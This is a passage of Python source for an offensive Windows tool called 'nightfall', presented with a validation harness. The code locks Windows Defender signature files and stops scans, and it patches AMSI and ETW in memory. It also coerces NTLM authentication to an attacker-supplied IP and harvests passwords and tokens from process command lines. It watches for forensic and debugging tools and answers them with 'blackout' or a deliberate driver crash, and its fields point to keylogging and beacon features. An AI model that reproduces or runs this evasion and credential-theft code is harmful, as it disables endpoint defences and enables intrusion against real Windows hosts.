        ctypes.c_void_p, ctypes.c_void_p, wt.DWORD, wt.DWORD,
        wt.DWORD, wt.DWORD, ctypes.c_wchar_p]
    ktmw32.CreateTransaction.restype = wt.HANDLE
    ktmw32.RollbackTransaction.argtypes = [wt.HANDLE]
    ktmw32.RollbackTransaction.restype = wt.BOOL
except Exception:
    ktmw32 = None

try:
    ntdll.NtCreateSection.argtypes = [
        ctypes.POINTER(wt.HANDLE), wt.DWORD, ctypes.c_void_p,
        ctypes.POINTER(ctypes.c_int64), wt.DWORD, wt.DWORD, wt.HANDLE]
    ntdll.NtCreateSection.restype = wt.LONG

    ntdll.RtlCreateProcessParametersEx.argtypes = [
        ctypes.POINTER(ctypes.c_void_p), ctypes.c_void_p,
        ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p,
        ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p,
        ctypes.c_void_p, ctypes.c_void_p, wt.DWORD]
    ntdll.RtlCreateProcessParametersEx.restype = wt.LONG

    ntdll.NtCreateProcessEx.argtypes = [
        ctypes.POINTER(wt.HANDLE), wt.DWORD, ctypes.c_void_p,
        wt.HANDLE, wt.DWORD, wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p, wt.DWORD]
    ntdll.NtCreateProcessEx.restype = wt.LONG

    ntdll.NtCreateThreadEx.argtypes = [
        ctypes.POINTER(wt.HANDLE), wt.DWORD, ctypes.c_void_p,
        wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p,
        wt.DWORD, ctypes.c_size_t, ctypes.c_size_t, ctypes.c_size_t,
        ctypes.c_void_p]
    ntdll.NtCreateThreadEx.restype = wt.LONG
except Exception:
    pass

try:
    k32.CreateFileTransactedW.argtypes = [
        ctypes.c_wchar_p, wt.DWORD, wt.DWORD, ctypes.c_void_p,
        wt.DWORD, wt.DWORD, wt.HANDLE, wt.HANDLE,
        ctypes.c_void_p, ctypes.c_void_p]
    k32.CreateFileTransactedW.restype = wt.HANDLE
except Exception:
    pass

try:
    winhttp = ctypes.windll.winhttp
    winhttp.WinHttpOpen.argtypes = [
        ctypes.c_wchar_p, wt.DWORD, ctypes.c_wchar_p,
        ctypes.c_wchar_p, wt.DWORD]
    winhttp.WinHttpOpen.restype = ctypes.c_void_p
    winhttp.WinHttpConnect.argtypes = [
        ctypes.c_void_p, ctypes.c_wchar_p, wt.WORD, wt.DWORD]
    winhttp.WinHttpConnect.restype = ctypes.c_void_p
    winhttp.WinHttpOpenRequest.argtypes = [
        ctypes.c_void_p, ctypes.c_wchar_p, ctypes.c_wchar_p,
        ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_void_p, wt.DWORD]
    winhttp.WinHttpOpenRequest.restype = ctypes.c_void_p
    winhttp.WinHttpSendRequest.argtypes = [
        ctypes.c_void_p, ctypes.c_wchar_p, wt.DWORD,
        ctypes.c_void_p, wt.DWORD, wt.DWORD, ctypes.c_void_p]
    winhttp.WinHttpSendRequest.restype = wt.BOOL
    winhttp.WinHttpReceiveResponse.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
    winhttp.WinHttpReceiveResponse.restype = wt.BOOL
    winhttp.WinHttpReadData.argtypes = [
        ctypes.c_void_p, ctypes.c_void_p, wt.DWORD, ctypes.POINTER(wt.DWORD)]
    winhttp.WinHttpReadData.restype = wt.BOOL
    winhttp.WinHttpCloseHandle.argtypes = [ctypes.c_void_p]
    winhttp.WinHttpCloseHandle.restype = wt.BOOL
except Exception:
    winhttp = None

try:
    dbghelp = ctypes.windll.dbghelp
    dbghelp.MiniDumpWriteDump.argtypes = [
        wt.HANDLE, wt.DWORD, wt.HANDLE, wt.DWORD,
        ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p]
    dbghelp.MiniDumpWriteDump.restype = wt.BOOL
except Exception:
    dbghelp = None


def make_guid(s):
    s = s.strip('{}')
    p = s.split('-')
    g = GUID()
    g.Data1 = int(p[0], 16)
    g.Data2 = int(p[1], 16)
    g.Data3 = int(p[2], 16)
    d4 = bytes.fromhex(p[3] + p[4])
    for i in range(8):
        g.Data4[i] = d4[i]
    return g


def find_provider(name):
    try:
        r = subprocess.run(["logman", "query", "providers", name],
                           capture_output=True, text=True, timeout=5)
        for line in r.stdout.splitlines():
            line = line.strip()
            if '{' in line and '}' in line:
                start = line.index('{')
                end = line.index('}') + 1
                return make_guid(line[start:end])
    except Exception:
        pass
    return None


def extract_wstrings(raw):
    out = []
    i = 0
    while i < len(raw) - 1:
        start = i
        while i < len(raw) - 1:
            ch = raw[i] | (raw[i + 1] << 8)
            if ch == 0 or ch > 0x7E or ch < 0x20:
                break
            i += 2
        if i - start >= 6:
            try:
                out.append(raw[start:i].decode('utf-16-le'))
            except Exception:
                pass
        i += 2
    return out


class Nightfall:

    THREAT_SIGNATURES = [
        "procmon", "processmonitor", "procexp", "processexplorer",
        "autoruns", "kape", "volatility", "windbg", "x64dbg", "x32dbg",
        "ollydbg", "ida64", "ida32", "ghidra", "pestudio", "processhacker",
        "apimonitor", "wireshark", "fiddler", "burpsuite", "tcpview",
        "sysmon", "logman", "perfmon", "wpr", "xperf",
        "mimikatz", "rubeus", "seatbelt", "sharphound", "bloodhound",
        "powerview", "winpeas", "linpeas", "psexec",
    ]

    def __init__(self):
        self._vdm = []
        self._dam = None
        self._zombies = []
        self._etw_session = None
        self._etw_trace = None
        self._etw_thread = None
        self._etw_active = False
        self._etw_cb_ref = None
        self._events = []
        self._lock = threading.Lock()
        self._harvest_thread = None
        self._harvest_active = False
        self._overwatch = False
        self._threat_cb = None
        self._keylog_active = False
        self._keylog_hook = None
        self._keylog_thread = None
        self._keylog_cb = None
        self._keylog_file = None
        self._env = None
        self._modifications = []
        self._beacon_active = False
        self._beacon_thread = None
        self._veh_handle = None
        self._hw_bp_targets = {}
        self._veh_cb_ref = None
        self._byovd_handle = None
        self._byovd_svc = None
        self._syscall_stubs = {}
        self._pipe_active = False
        self._pipe_thread = None
        self._wnf_c2_active = False
        self._wnf_c2_thread = None
        self._timer_queue = None
        self._timer_handles = []
        self._timer_cb_refs = []
        self._inst_cb_installed = False
        self._projfs_active = False
        self._projfs_root = None
        self._projfs_thread = None
        self._clip_c2_active = False
        self._clip_c2_thread = None
        self._kpool_addr = None
        self._sleep_obf_regions = []

    def _reg_read(self, root, subkey, name):
        hkey = wt.HANDLE()
        HKLM = 0x80000002
        r = root if isinstance(root, int) else HKLM
        status = adv.RegOpenKeyExW(r, subkey, 0, 0x20019, ctypes.byref(hkey))
        if status != 0:
            return None
        buf = (ctypes.c_byte * 1024)()
        size = wt.DWORD(1024)
        dtype = wt.DWORD()
        status = adv.RegQueryValueExW(hkey, name, None,
                                      ctypes.byref(dtype), buf, ctypes.byref(size))
        adv.RegCloseKey(hkey)
        if status != 0:
            return None
        if dtype.value == REG_DWORD:
            return struct.unpack_from('<I', buf, 0)[0]
        raw = bytes(buf[:size.value])
        try:
            return raw.decode('utf-16-le').rstrip('\x00')
        except Exception:
            return raw

    def detect_env(self):
        if self._env:
            return self._env
        HKLM = 0x80000002
        env = {"hostname": os.environ.get("COMPUTERNAME", "unknown")}
        nt_key = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion"
        build = self._reg_read(HKLM, nt_key, "CurrentBuild")
        ubr = self._reg_read(HKLM, nt_key, "UBR")
        if build:
            env["build"] = f"{build}.{ubr}" if ubr else str(build)
        env["edition"] = self._reg_read(HKLM, nt_key, "EditionID") or "?"

        def_key = r"SOFTWARE\Microsoft\Windows Defender"
        plat = self._reg_read(HKLM, def_key, "PlatformVersion")
        if plat:
            env["defender"] = str(plat)
        sig_key = r"SOFTWARE\Microsoft\Windows Defender\Signature Updates"
        av_sig = self._reg_read(HKLM, sig_key, "AVSignatureVersion")
        if av_sig:
            env["sigs"] = str(av_sig)

        rtp_key = r"SOFTWARE\Microsoft\Windows Defender\Real-Time Protection"
        rtp = self._reg_read(HKLM, rtp_key, "DisableRealtimeMonitoring")
        env["rtp"] = "False" if rtp == 1 else "True"

        feat_key = r"SOFTWARE\Microsoft\Windows Defender\Features"
        tp = self._reg_read(HKLM, feat_key, "TamperProtection")
        env["tamper"] = "True" if tp and tp >= 1 else "False"

        try:
            tok = wt.HANDLE()
            if not adv.OpenProcessToken(k32.GetCurrentProcess(), TOKEN_QUERY,
                                        ctypes.byref(tok)):
                raise OSError("OpenProcessToken failed")
            info = (ctypes.c_byte * 64)()
            ret = wt.DWORD()
            status = ntdll.NtQueryInformationToken(tok, 25, info, 64, ctypes.byref(ret))
            if status != 0:
                k32.CloseHandle(tok)
                raise OSError(f"NtQueryInformationToken failed: 0x{status & 0xFFFFFFFF:08X}")
            sid_ptr = struct.unpack_from('<Q', info, 0)[0]
            if sid_ptr:
                sid_rev = ctypes.c_byte()
                ctypes.memmove(ctypes.byref(sid_rev), sid_ptr, 1)
                sub_count = ctypes.c_byte()
                ctypes.memmove(ctypes.byref(sub_count), sid_ptr + 1, 1)
                if sub_count.value > 0:
                    last_sub_off = 8 + (sub_count.value - 1) * 4
                    rid_buf = (ctypes.c_byte * 4)()
                    ctypes.memmove(rid_buf, sid_ptr + last_sub_off, 4)
                    level = struct.unpack_from('<I', bytes(rid_buf), 0)[0]
                else:
                    level = 0
            else:
                level = 0
            k32.CloseHandle(tok)
            levels = {0x0000: "Untrusted", 0x1000: "Low",
                      0x2000: "Medium", 0x3000: "High", 0x4000: "System"}
            env["integrity"] = levels.get(level, f"0x{level:04X}")
        except Exception:
            env["integrity"] = "unknown"

        env["user"] = os.environ.get("USERDOMAIN", "") + "\\" + os.environ.get("USERNAME", "?")
        self._env = env
        return env

    def _check_admin(self):
        env = self.detect_env()
        return env.get("integrity") in ("High", "System")

    def _track(self, category, detail, rollback_fn=None):
        self._modifications.append({
            "ts": time.time(), "cat": category,
            "detail": detail, "rollback": rollback_fn,
        })

    def rollback(self):
        succeeded = 0
        failed = []
        for mod in reversed(self._modifications):
            if mod["rollback"]:
                try:
                    mod["rollback"]()
                    succeeded += 1
                except Exception as e:
                    failed.append((mod["cat"], mod["detail"], str(e)))
        remaining = [m for m in self._modifications
                     if m["rollback"] and any(
                         m["cat"] == f[0] and m["detail"] == f[1] for f in failed)]
        self._modifications = remaining
        print(f"[+] rollback: {succeeded} operations reversed")
        if failed:
            print(f"[!] rollback: {len(failed)} operations FAILED (still tracked):")
            for fcat, fdetail, ferr in failed:
                print(f"    {fcat}/{fdetail}: {ferr}")

    def validate(self, target=None):
        env = self.detect_env()
        print(f"\n{'=' * 60}")
        print(f"  nightfall v{VERSION} validation")
        print(f"{'=' * 60}")
        print(f"  host    : {env.get('hostname', '?')}")
        print(f"  user    : {env.get('user', '?')}")
        print(f"  build   : {env.get('build', '?')}")
        print(f"  edition : {env.get('edition', '?')}")
        print(f"  defender: {env.get('defender', '?')}")
        print(f"  sigs    : {env.get('sigs', '?')}")
        print(f"  integ   : {env.get('integrity', '?')}")
        print(f"  rtp     : {env.get('rtp', '?')}")
        print(f"  tamper  : {env.get('tamper', '?')}")
        print(f"{'=' * 60}\n")

        tests = [
            ("D1", "sig freeze", self._test_d1, False, "IMPACT"),
            ("D2", "oplock zombie", self._test_d2, False, "STATE"),
            ("D4", "etw surveillance", self._test_d4, True, "TRIGGER"),
            ("D5", "scan pause", self._test_d5, True, "TRIGGER"),
            ("E1", "uac bypass (dry run)", self._test_e1_dry, False, "TRIGGER"),
            ("K1", "dam confused deputy", self._test_k1, False, "TRIGGER"),
            ("K4", "dam info leak", self._test_k4, False, "IMPACT"),
            ("W1", "wer stage", self._test_w1, True, "STATE"),
            ("N1", "wnf trigger", self._test_n1, False, "TRIGGER"),
            ("AMSI", "amsi bypass", self._test_amsi, False, "STATE"),
            ("ETW", "etw blind", self._test_etw_blind, False, "STATE"),
        ]

        admin = self._check_admin()
        results = {"pass": 0, "fail": 0, "skip": 0}

        for pid, name, test_fn, needs_admin, tier in tests:
            if target and pid != target.upper():
                continue
            if needs_admin and not admin:
                print(f"  [SKIP]    {pid:4s} {name}: requires High IL")
                results["skip"] += 1
                continue
            try:
                ok = test_fn()
                if ok is None:
                    print(f"  [SKIP]    {pid:4s} {name}: prerequisites not met")
                    results["skip"] += 1
                elif ok:
                    print(f"  [{tier:7s}] {pid:4s} {name}")
                    results["pass"] += 1
                else:
                    print(f"  [FAIL]    {pid:4s} {name}")
                    results["fail"] += 1
            except Exception as e:
                print(f"  [FAIL]    {pid:4s} {name}: {e}")
                results["fail"] += 1

        print(f"\n{'=' * 60}")
        p, f, s = results["pass"], results["fail"], results["skip"]
        print(f"  {p} pass / {f} fail / {s} skip")
        print(f"  IMPACT  = proved the security effect")
        print(f"  STATE   = verified mutation, didn't prove consequence")
        print(f"  TRIGGER = call worked, didn't measure impact")
        print(f"{'=' * 60}")
        return results

    def _test_d1(self):
        n = self.sig_freeze()
        if n == 0:
            self.sig_unfreeze()
            return None
        verified = False
        patterns = [
            r"C:\ProgramData\Microsoft\Windows Defender\Definition Updates\*\*.vdm",
            r"C:\ProgramData\Microsoft\Windows Defender\Platform\*\*.vdm",
        ]
        for pat in patterns:
            for path in fglob(pat):
                h = k32.CreateFileW(path, GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
                if h == INVALID_HANDLE and k32.GetLastError() == 32:
                    verified = True
                    break
                elif h != INVALID_HANDLE:
                    k32.CloseHandle(h)
            if verified:
                break
        self.sig_unfreeze()
        return verified

    def _test_d2(self):
        test_path = os.path.join(os.environ["TEMP"], "nf_test_zombie.txt")
        with open(test_path, 'w') as f:
            f.write("nightfall validation")
        ok = self.zombie(test_path)
        if not ok:
            try:
                os.remove(test_path)
            except OSError:
                pass
            return False
        if self._zombies:
            h, evt, ovlp, path = self._zombies[-1]
            result = k32.WaitForSingleObject(evt, 0)
            verified = (result == WAIT_TIMEOUT)
            k32.CloseHandle(h)
            k32.CloseHandle(evt)
            self._zombies.pop()
            try:
                os.remove(test_path)
            except OSError:
                pass
            return verified
        return False

    def _test_d4(self):
        ok = self.watch_start()
        if not ok:
            return False
        pb = self._make_props()
        status = adv.ControlTraceW(
            ctypes.c_uint64(0), SESSION_NAME, ctypes.byref(pb), 0)
        self.watch_stop()
        return status == 0

    def _test_d5(self):
        return self.scan_pause()

    def _test_e1_dry(self):
        dll_src = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                               "uac_poc", "target", "release", "netutils.dll")
        if not os.path.exists(dll_src):
            return None
        CDir = k32.CreateDirectoryW
        CDir.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p]
        CDir.restype = wt.BOOL
        RDir = k32.RemoveDirectoryW
        RDir.argtypes = [ctypes.c_wchar_p]
        RDir.restype = wt.BOOL
        mock_win = "\\\\?\\C:\\Windows "
        ok = CDir(mock_win, None)
        if ok:
            RDir(mock_win)
            return True
        err = k32.GetLastError()
        if err == 183:
            return True
        return False

    def _test_k1(self):
        h = self._open_dam()
        if not h:
            return None
        buf = (ctypes.c_byte * 8)()
        struct.pack_into('<Q', buf, 0, 4)
        out = (ctypes.c_byte * 4096)()
        ret = wt.DWORD()
        ok = k32.DeviceIoControl(h, IOCTL_DAM_ADD, buf, 8, out, 4096,
                                 ctypes.byref(ret), None)
        return bool(ok)

    def _test_k4(self):
        h = self._open_dam()
        if not h:
            return None
        buf = (ctypes.c_byte * 8)()
        struct.pack_into('<Q', buf, 0, 4)
        out = (ctypes.c_byte * 4096)()
        ret = wt.DWORD()
        ok = k32.DeviceIoControl(h, IOCTL_DAM_QUERY, buf, 8, out, 4096,
                                 ctypes.byref(ret), None)
        return bool(ok) and ret.value > 0

    def _test_w1(self):
        path = self.wer_stage()
        if not path:
            return False
        report = os.path.join(path, "Report.wer")
        exists = os.path.isfile(report)
        try:
            shutil.rmtree(path, ignore_errors=True)
        except Exception:
            pass
        return exists

    def _test_n1(self):
        return self.wnf_trigger()

    def _test_amsi(self):
        try:
            ctypes.windll.LoadLibrary("amsi.dll")
        except OSError:
            return None
        addr = k32.GetProcAddress(k32.GetModuleHandleW("amsi.dll"), b"AmsiScanBuffer")
        if not addr:
            return None
        patch_len = 6
        original = (ctypes.c_byte * patch_len)()
        ctypes.memmove(original, addr, patch_len)
        try:
            ok = self.amsi_bypass()
            if not ok:
                return False
            patched = (ctypes.c_byte * 2).from_address(addr)
            return (patched[0] == 0xB8 - 256 or patched[0] == 0xB8)
        finally:
            old_prot = wt.DWORD()
            k32.VirtualProtect(addr, patch_len, PAGE_EXECUTE_READWRITE,
                               ctypes.byref(old_prot))
            ctypes.memmove(addr, original, patch_len)
            k32.VirtualProtect(addr, patch_len, old_prot.value,
                               ctypes.byref(old_prot))

    def _test_etw_blind(self):
        addr = k32.GetProcAddress(k32.GetModuleHandleW("ntdll.dll"), b"EtwEventWrite")
        if not addr:
            return None
        patch_len = 2
        original = (ctypes.c_byte * patch_len)()
        ctypes.memmove(original, addr, patch_len)
        try:
            ok = self.etw_blind()
            if not ok:
                return False
            patched = ctypes.c_byte.from_address(addr)
            return (patched.value == 0xC3 - 256 or patched.value == 0xC3 or
                    patched.value & 0xFF == 0xC3)
        finally:
            old_prot = wt.DWORD()
            k32.VirtualProtect(addr, patch_len, PAGE_EXECUTE_READWRITE,
                               ctypes.byref(old_prot))
            ctypes.memmove(addr, original, patch_len)
            k32.VirtualProtect(addr, patch_len, old_prot.value,
                               ctypes.byref(old_prot))

    def sig_freeze(self):
        patterns = [
            r"C:\ProgramData\Microsoft\Windows Defender\Definition Updates\*\*.vdm",
            r"C:\ProgramData\Microsoft\Windows Defender\Platform\*\*.vdm",
        ]
        count = 0
        for pat in patterns:
            for path in fglob(pat):
                h = k32.CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
                                    None, OPEN_EXISTING, 0, None)
                if h != INVALID_HANDLE:
                    self._vdm.append(h)
                    count += 1
        if count:
            print(f"[+] sig freeze: locked {count} vdm files")
            self._track("defender", f"sig freeze: {count} vdm locks",
                        self.sig_unfreeze)
        else:
            print("[-] sig freeze: no vdm files found")
        return count

    def sig_unfreeze(self):
        for h in self._vdm:
            k32.CloseHandle(h)
        n = len(self._vdm)
        self._vdm.clear()
        if n:
            print(f"[+] sig unfreeze: released {n} handles")

    def scan_pause(self):
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             "Stop-MpScan"],
            capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print("[+] scan pause: active scans stopped")
        else:
            print(f"[-] scan pause: {r.stderr.strip()}")
        return r.returncode == 0

    def zombie(self, path, data_file=None):
        if data_file:
            with open(data_file, 'rb') as f:
                payload = f.read()
            with open(path, 'wb') as f:
                f.write(payload)
            print(f"[*] wrote {len(payload)} bytes to {path}")

        h = k32.CreateFileW(
            path, GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
            None, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, None)
        if h == INVALID_HANDLE:
            print(f"[-] zombie: open failed ({k32.GetLastError()})")
            return False

        evt = k32.CreateEventW(None, True, False, None)
        ovlp = OVERLAPPED()
        ctypes.memset(ctypes.byref(ovlp), 0, ctypes.sizeof(OVERLAPPED))
        ovlp.hEvent = evt
        ret = wt.DWORD()
        ok = k32.DeviceIoControl(
            h, FSCTL_REQUEST_BATCH_OPLOCK,
            None, 0, None, 0, ctypes.byref(ret), ctypes.byref(ovlp))
        err = k32.GetLastError()

        if ok or err == ERROR_IO_PENDING:
            self._zombies.append((h, evt, ovlp, path))
            print(f"[+] zombie active: {path}")
            self._track("oplock", f"zombie: {path}")
            return True

        print(f"[-] zombie: oplock failed ({err})")
        k32.CloseHandle(h)
        k32.CloseHandle(evt)
        return False

    def zombie_check(self):
        still = []
        for h, evt, ovlp, path in self._zombies:
            result = k32.WaitForSingleObject(evt, 0)
            if result == WAIT_OBJECT_0:
                print(f"[!] oplock broken: {path} (quarantine attempted)")
            else:
                still.append((h, evt, ovlp, path))
        self._zombies = still

    def ntlm(self, ip, share="s", fn="x.exe"):
        unc = f"\\\\{ip}\\{share}\\{fn}"
        print(f"[*] ntlm coerce -> {unc}")
        subprocess.Popen(
            ["powershell", "-NoProfile", "-c",
             f'Start-MpScan -ScanType CustomScan -ScanPath "{unc}"'],
            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("[+] scan triggered, check your listener")

    def _open_dam(self):
        if self._dam:
            return self._dam
        h = k32.CreateFileW(
            r"\\.\DamCtrl", GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None)
        if h == INVALID_HANDLE:
            print(f"[-] DamCtrl: open failed ({k32.GetLastError()})")
            return None
        self._dam = h
        return h

    def dam_add(self, pid):
        h = self._open_dam()
        if not h:
            return False
        buf = (ctypes.c_byte * 8)()
        struct.pack_into('<Q', buf, 0, pid)
        out = (ctypes.c_byte * 4096)()
        ret = wt.DWORD()
        ok = k32.DeviceIoControl(h, IOCTL_DAM_ADD, buf, 8, out, 4096,
                                 ctypes.byref(ret), None)
        if ok:
            info = ""
            if ret.value > 0:
                strings = extract_wstrings(bytes(out[:ret.value]))
                if strings:
                    info = f" [{' | '.join(strings)}]"
            print(f"[+] dam: added pid {pid}{info}")
            return True
        print(f"[-] dam: pid {pid} failed ({k32.GetLastError()})")
        return False

    def dam_freeze(self):
        h = self._open_dam()
        if not h:
            return False
        buf = (ctypes.c_byte * 16)()
        struct.pack_into('<QII', buf, 0, 0, 2, 2)
        ret = wt.DWORD()
        ok = k32.DeviceIoControl(h, IOCTL_DAM_STATE, buf, 16, None, 0,
                                 ctypes.byref(ret), None)
        if ok:
            print("[+] dam: session frozen")
            self._track("dam", "session frozen", self.dam_unfreeze)
        else:
            print(f"[-] dam: freeze failed ({k32.GetLastError()})")
        return bool(ok)

    def dam_unfreeze(self):
        h = self._open_dam()
        if not h:
            return False
        buf = (ctypes.c_byte * 16)()
        struct.pack_into('<QII', buf, 0, 0, 1, 1)
        ret = wt.DWORD()
        ok = k32.DeviceIoControl(h, IOCTL_DAM_STATE, buf, 16, None, 0,
                                 ctypes.byref(ret), None)
        if ok:
            print("[+] dam: session unfrozen")
        else:
            print(f"[-] dam: unfreeze failed ({k32.GetLastError()})")
        return bool(ok)

    def dam_crash(self):
        h = self._open_dam()
        if not h:
            return False
        buf = (ctypes.c_byte * 16)()
        ret = wt.DWORD()
        k32.DeviceIoControl(h, IOCTL_DAM_CRASH, buf, 16, None, 0,
                            ctypes.byref(ret), None)
        return True

    def _make_props(self):
        pb = PropsBuffer()
        ctypes.memset(ctypes.byref(pb), 0, ctypes.sizeof(pb))
        pb.Props.Wnode.BufferSize = ctypes.sizeof(pb)
        pb.Props.Wnode.Flags = WNODE_TRACED_GUID
        pb.Props.Wnode.ClientContext = 1
        pb.Props.BufferSize = 64
        pb.Props.LogFileMode = ETW_RT_MODE
        pb.Props.LoggerNameOffset = ctypes.sizeof(EVENT_TRACE_PROPERTIES)
        pb.Props.LogFileNameOffset = (ctypes.sizeof(EVENT_TRACE_PROPERTIES)
                                      + 256 * ctypes.sizeof(ctypes.c_wchar))
        return pb

    def watch_start(self, provider_name="Microsoft-Antimalware-Engine"):
        guid = find_provider(provider_name)
        if not guid:
            guid = make_guid("{11CD958A-C507-4EF3-B3F2-5FD9DFBD2C78}")
            print(f"[*] provider not found, using Windows-Defender fallback")

        pb = self._make_props()
        adv.ControlTraceW(ctypes.c_uint64(0), SESSION_NAME,
                          ctypes.byref(pb), TRACE_CONTROL_STOP)

        pb = self._make_props()
        handle = ctypes.c_uint64()
        status = adv.StartTraceW(ctypes.byref(handle), SESSION_NAME,
                                 ctypes.byref(pb))
        if status != 0:
            print(f"[-] etw: StartTrace failed (0x{status:08X})")
            if status == 5:
                print("    need elevation for trace session")
            return False
        self._etw_session = handle.value

        status = adv.EnableTraceEx2(
            handle, ctypes.byref(guid), ENABLE_PROVIDER,
            TRACE_LEVEL_VERBOSE, ctypes.c_uint64(0xFFFFFFFFFFFFFFFF),
            ctypes.c_uint64(0), 0, None)
        if status != 0:
            print(f"[-] etw: EnableTraceEx2 failed (0x{status:08X})")
            return False

        def cb(ptr):
            if not ptr or not self._etw_active:
                return
            try:
                eid = ctypes.c_ushort.from_address(ptr + 40).value
                dlen = ctypes.c_ushort.from_address(ptr + 86).value
                dptr = ctypes.c_void_p.from_address(ptr + 96).value
                text = ""
                if dlen > 0 and dptr:
                    raw = (ctypes.c_byte * min(dlen, 8192)).from_address(dptr)
                    strings = extract_wstrings(bytes(raw))
                    text = " | ".join(s for s in strings if len(s) > 3)
                with self._lock:
                    self._events.append((time.time(), eid, text))
                if text:
                    ts = time.strftime("%H:%M:%S")
                    print(f"  [{ts}] evt:{eid} {text[:240]}")
                    if self._overwatch:
                        self._check_threat(text, ts)
            except Exception:
                pass

        self._etw_cb_ref = PEVENT_RECORD_CB(cb)

        logfile = EVENT_TRACE_LOGFILEW()
        ctypes.memset(ctypes.byref(logfile), 0, ctypes.sizeof(logfile))
        self._logname_buf = ctypes.create_unicode_buffer(SESSION_NAME)
        logfile.LoggerName = ctypes.cast(self._logname_buf, ctypes.c_wchar_p)
        logfile.ProcessTraceMode = PT_MODE_REALTIME | PT_MODE_EVENT_RECORD
        logfile.EventRecordCallback = ctypes.cast(
            self._etw_cb_ref, ctypes.c_void_p).value

        adv.OpenTraceW.restype = ctypes.c_uint64
        th = adv.OpenTraceW(ctypes.byref(logfile))
        if th == 0xFFFFFFFFFFFFFFFF:
            print(f"[-] etw: OpenTrace failed ({k32.GetLastError()})")
            return False
        self._etw_trace = th

        self._etw_active = True

        def consume():
            trace_h = ctypes.c_uint64(th)
            adv.ProcessTrace(ctypes.byref(trace_h), 1, None, None)

        self._etw_thread = threading.Thread(target=consume, daemon=True)
        self._etw_thread.start()
        print(f"[+] etw: watching")
        self._track("etw", "trace session started", self.watch_stop)
        return True

    def watch_stop(self):
        self._etw_active = False
        if self._etw_trace:
            adv.CloseTrace(ctypes.c_uint64(self._etw_trace))
            self._etw_trace = None
        if self._etw_session is not None:
            pb = self._make_props()
            adv.ControlTraceW(ctypes.c_uint64(0), SESSION_NAME,
                              ctypes.byref(pb), TRACE_CONTROL_STOP)
            self._etw_session = None
        print(f"[+] etw: stopped ({len(self._events)} events captured)")

    def harvest(self):
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             "Get-CimInstance Win32_Process | "
             "Select-Object ProcessId, Name, CommandLine | "
             "ConvertTo-Csv -NoTypeInformation"],
            capture_output=True, text=True, timeout=15)
        lines = r.stdout.strip().splitlines()
        if len(lines) < 2:
            print("[-] harvest: no data")
            return
        count = 0
        interesting = 0
        for line in lines[1:]:
            parts = line.strip('"').split('","')
            if len(parts) < 3:
                continue
            pid, name, cmdline = parts[0], parts[1], parts[2]
            count += 1
            triggers = ['password=', 'passwd=', '-password ', '-pwd ',
                         'token=', 'secret=', 'apikey=', 'api_key=',
                         'connectionstring=', '/user:', '-u sa ',
                         '.pem', '.pfx', '.p12', 'private.key',
                         '-credentials ', 'pass=']
            low = cmdline.lower()
            hit = any(t in low for t in triggers)
            if hit:
                interesting += 1
                print(f"  [!] PID {pid} {name}: {cmdline[:300]}")
        print(f"[*] harvest: {count} processes, {interesting} interesting")

    def harvest_start(self, interval=30):
        if self._harvest_active:
            print("[*] harvest: already running")
            return
        self._harvest_active = True

        def loop():
            while self._harvest_active:
                self.harvest()
                for _ in range(interval):
                    if not self._harvest_active:
                        break
                    time.sleep(1)

        self._harvest_thread = threading.Thread(target=loop, daemon=True)
        self._harvest_thread.start()
        print(f"[+] harvest: polling every {interval}s")

    def harvest_stop(self):
        self._harvest_active = False
        print("[+] harvest: polling stopped")

    def _check_threat(self, text, ts):
        low = text.lower()
        for sig in self.THREAT_SIGNATURES:
            if sig in low:
                print(f"\n  [!!!] THREAT DETECTED [{ts}]: {sig}")
                print(f"        {text[:300]}")
                if self._threat_cb:
                    self._threat_cb(sig, text)
                break

    def overwatch_start(self, action="alert"):
        self._overwatch = True
        if action == "blackout":
            self._threat_cb = lambda sig, text: self._overwatch_blackout(sig)
        elif action == "scorched":
            self._threat_cb = lambda sig, text: self._overwatch_scorched(sig)
        else:
            self._threat_cb = None
        print(f"[+] overwatch: active (response={action})")
        print(f"    monitoring for {len(self.THREAT_SIGNATURES)} tool signatures")

    def overwatch_stop(self):
        self._overwatch = False
        self._threat_cb = None
        print("[+] overwatch: disabled")

    def _overwatch_blackout(self, sig):
        print(f"[!] overwatch: auto-blackout triggered by {sig}")
        self.blackout()

    def _overwatch_scorched(self, sig):
        print(f"[!] overwatch: scorched earth triggered by {sig}")
        self.dam_crash()

    def wer_stage(self, content=None):
        base = r"C:\ProgramData\Microsoft\Windows\WER\ReportQueue"
        dirname = f"AppCrash_svchost_{int(time.time())}"
        report_dir = os.path.join(base, dirname)
        try:
            os.makedirs(report_dir, exist_ok=True)
        except PermissionError:
            print("[-] wer: can't create report dir")
            return None

        if content is None:
            content = (
                "[General]\r\n"
                "ReportIdentifier={AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE}\r\n"
                "EventType=APPCRASH\r\n"
                "Transport=DirectReportStore\r\n"
                "Sig[0].Name=ApplicationName\r\n"
                "Sig[0].Value=svchost.exe\r\n"
                "Sig[1].Name=ApplicationVersion\r\n"
                "Sig[1].Value=10.0.26200.0\r\n"
                "DynamicSig[0].Name=OS Version\r\n"
                "DynamicSig[0].Value=10.0.26200.1.256.64bit\r\n"
                "DynamicSig[1].Name=Locale ID\r\n"
                "DynamicSig[1].Value=1033\r\n"
            )

        report_path = os.path.join(report_dir, "Report.wer")
        with open(report_path, 'w', encoding='utf-16-le') as f:
            f.write('\ufeff' + content)

        meta_path = os.path.join(report_dir, "WERInternalMetadata.xml")
